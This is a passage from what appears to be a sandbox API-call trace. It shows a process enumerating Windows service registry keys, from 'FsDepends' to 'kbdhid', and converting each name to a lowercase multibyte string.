out: lpName="FsDepends") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1d18, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0175.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0175.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0175.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0175.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0175.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0175.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0175.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0175.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0175.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0175.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0175.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, 